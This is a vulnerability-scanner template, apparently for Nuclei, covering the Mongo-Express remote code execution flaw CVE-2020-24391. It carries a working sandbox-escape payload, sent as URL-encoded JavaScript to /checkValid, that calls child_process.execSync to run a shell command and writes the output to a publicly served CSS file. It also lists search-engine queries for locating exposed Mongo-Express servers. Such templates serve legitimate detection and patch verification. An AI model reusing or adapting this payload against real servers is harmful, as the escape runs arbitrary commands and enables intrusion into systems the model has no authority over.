Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
PoC代码[已公开]
id: CVE-2020-24391
info:
name: Mongo-Express - Remote Code Execution
author: leovalcante
severity: critical
description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
reference:
- https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/
- https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a
- https://nvd.nist.gov/vuln/detail/CVE-2020-24391
- https://github.com/mongodb-js/query-parser/issues/16
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-24391
epss-score: 0.90677
epss-percentile: 0.99601
cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
metadata:
max-request: 3
vendor: mongo-express_project
product: mongo-express
framework: node.js
shodan-query: http.title:"mongo express"
fofa-query: title="mongo express"
google-query: intitle:"mongo express"
tags: cve,cve2020,mongo,express,rce,intrusive,mongo-express_project,node.js
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /checkValid HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
- |
GET /public/css/{{randstr}}.css HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body_3
regex:
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
# digest: 4a0a004730450220256598be99876d46484853aacd41c1365c4df8905f426daa4981d4061b91792a022100fcec0f99f1dd52c7d50a4baf2dd9912d058fefc9112d009939be972b15b9fed7:922c64590222798bb761d5b6d8e72950